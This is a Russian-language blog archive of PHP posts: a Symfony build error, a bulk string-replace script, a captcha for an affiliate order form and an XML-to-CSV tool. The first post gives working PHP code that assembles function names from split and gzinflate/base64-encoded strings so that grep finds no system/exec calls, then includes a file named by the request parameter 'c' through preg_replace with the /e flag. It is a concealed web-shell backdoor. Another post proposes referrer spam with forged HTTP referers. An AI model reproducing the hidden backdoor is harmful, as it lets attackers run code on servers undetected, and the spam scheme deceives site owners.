Блог сео-студента | Tag Archive | php

«php»

Замена eval() в php

15-07-2023

1

Недавно ломал голову над тем, есть ли замена функции eval() в php.

Задача: Сделать возможность вызова функций system, passthru, exec и т.д. так, чтобы в коде не было упоминания имен этих функций, то есть, чтобы при поиске по исходникам (grep -rl ‘function‘ /path) данные функции не светились.

Немного поломав мозг, пришел к такому решению:

// функции для выполнения
$funcs = array(
	'g'.'z'.'i'.'n'.'f'.'l'.'a'.'t'.'e',
	'b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e',
	'p'.'h'.'p'.'i'.'n'.'f'.'o'
);
 
$strng = 'KyhKLUtNAQA='; # прогнанный через gzinflate base64 хэш имени функции (preved)

function preved() {
############## Здесь любой код для выполнения ############
	(isset($_REQUEST['c'])) ? include($_REQUEST['c']) : die();
###########################################################
}
 
function test() {
		global $funcs, $strng;
		$result = $funcs[0]($funcs[1]($strng));
	return $result(); // заменить на $func[X], если не нужно вызывать функцию preved()
}
echo preg_replace("/123/e",test(),456);

Как видно из листинга, скрипт использует баг в функции preg_replace() с флагом /e. Разобраться с ним не сложно.
В результате получился скрипт, который может выполнять практически любые функции, кроме eval(), так как:

это языковая конструкция, а не функция, она не может вызываться при помощи переменных функций (c) мануал

Единственный минус – можно выполнить поиск по имени функции preg_replace(), но ее можно зашифровать аналогично примерам из скрипта или любым другим способом.

Косяк Symfony

07-07-2023

0

На работе пишу интернет-магазин на Symfony, и в ходе разработки иногда появляются маленькие косяки, на которые убиваю очень много времени.
В частности, при ребилде проекта (doctrine:build-all-reload) все время выскакивала ошибка о том, что класс sfGuardGroup был определен 2 раза. Причем даже при удалении всех файлов с классами из /lib/model/doctrine/sfDoctrineGuardPlugin/base все создавалось по-новой. Решение оказалось довольно-таки простым, но сразу я до него почему-то не додумался.
Оказывается в модели /config/doctrine/schema.yml и /plugins/sfDoctrineGuardPlugin/config/doctrine/schema.yml была описана одна и та же таблица, на основе которой генерировался данный класс. Только до сих пор не могу понять откуда взялся этот /config/doctrine/schema.yml, может быть это глюк самого sfGuardPlugin.
Прикрутил xDebug к php, очень удобная штука для отладки скриптов, пока доволен.

P.S. На этой неделе собираюсь на море, надеюсь погода не подкачает ;)

Замена строк во всех файлах директории

28-06-2023

3

Сохраняю для себя, часто пользуюсь, может кому тоже полезно будет.
Скрипт берет все файлы в директории и меняет в нем заданные строки на новые.

$pages = glob("/home/user/public_html/files/*");
$chto = 'hello world!';
$nachto = 'привет, мир!';
foreach($pages as $page)
	if(!substr_count((string)$page, 'index.php')) {
	$data = file_get_contents($page);
    $data = str_ireplace($chto, $nachto, $data);
	file_put_contents($page, $data);
}

Ничего сложного, но если бы не скрипт – много бы было возни лишней.

Палю «темку». Увеличиваем посещаемость

28-06-2023

5

Уверен что многие блоггеры, ровно как и оптимизаторы/администраторы сайтов мониторят статистику переходов на свои ресурсы через сервис Liveinternet, к примеру.

А что, надо это как-то использовать. А как использовать? Правильно, брать базу тематичных сайтов и слать по ним http запросы с поддельным referrer’ом.

Натолкнуло на мысль давно, но как-то не придавал этому значение. А тут в ежедневной статистике блога вижу один и тот же url сайта, с которого идут переходы, хотя активной ссылки на ресурсе нет.
Вот для примера:

Понятное дело, что приток трафика будет совсем не большой, да и тот «админский» :)

Как такое реализовать? Достаем базу тематичных сайтов/блогов, пишем скрипт, который бы слал запросы с поддельным http_referrer на эти сайты. Кому интересно – могу выложить скрипт.

P.S. Сегодня приятно удивился, когда увидел на страницах журнала ][akep анонс своего скрипта, который написал еще два с лишним года назад. Приятно, черт возьми…

Защищаем формы заказов партнерки 8088 от спама

05-02-2023

5

Наверняка многие, кто работает с партнеркой 8088, сталкиваются с проблемой спама в формах заявок, что существенно подрывает конверт и делает лишнюю работу модераторам партнерки.

С недавних пор тоже озадачился этой проблемой и сейчас расскажу как я ее решил.
Начну с того, что страница с формой заявки находится на поддомене одного из моих сайтов. То есть, кроме этой формы на странице больше ничего нет. Так что буду описывать все исходя из этих данных.

Прикручиваем KCaptcha к этой форме. Итак, для начала скачаем архив с kcaptcha к себе и распакуем его. В итоге, увидим такую картину:

/
  include
  captcha.php

Затем открываем /include/kcaptcha_config.php и изменяем все по вкусу. Теперь в той же директории, что и kcaptcha, создадим файлы:

/
  index.php
  func.js

В index.php в самом начале добавляем

Далее, добавляем перед формой партнерки

Вы неверно ввели код с картинки.");
	} else {
	$doctor = $_POST['doctor'];
	$region = $_POST['region'];
	$name = $_POST['name'];
	$phoneprefix = $_POST['phoneprefix'];
	$phone = $_POST['phone'];
	$comment = $_POST['comment'];
	$programID = $_POST['programID'];
	$partnerID = $_POST['partnerID'];
		// посылаем http запрос на http://partner.8088.ru/query.php
		$curl = curl_init(); // инициализируем cURL
		// А дальше устанавливаем опции запроса в любом порядке
		curl_setopt($curl, CURLOPT_URL, 'http://partner.8088.ru/query.php'); // Здесь устанавливаем URL к которому нужно обращаться
		curl_setopt($curl, CURLOPT_FAILONERROR, 1);
		curl_setopt($curl, CURLOPT_TIMEOUT, 3); // устанавливаем таймаут в секундах
		curl_setopt($curl, CURLOPT_POST, 1); // устанавливаем метод POST
		curl_setopt($curl, CURLOPT_POSTFIELDS, "doctor=$doctor&region=$region&name=$name&phoneprefix=$phoneprefix&phone=$phone&comment=$comment&programID=$programID&partnerID=$partnerID"); // сам POST запрос
		curl_exec($curl);
		//$result = curl_exec($curl); // выполняем запрос и записываем в переменную
		curl_close($curl); // заканчиваем работу curl
		die();
		//echo $result; // собственно печатаем результат
	}
}
?>

Теперь в форму партнерки добавим одну строчку

echo '
 
Введите число с картинки
 
<input name="keystring" size="10" type="text" /><img src="captcha.php?'.session_name().'='.session_id().'" alt="" />';

Вот в общем-то и все. Скачать посмотреть пример реализации можно здесь. Не забудьте в форме заменить XXXX на ваш партнерскй id.

Xml2csv Converter

04-02-2023

7

Xml2csv - скрипт, который конвертирует файлы в формате XML в формат CSV (MS Excel).
Изначально скрипт был написан мной для конверта xml баз партнерки Sotmarket, но его так же успешно можно использовать и для других xml файлов. Достаточно лишь поместить их в директорию files, а затем выбрать из списка.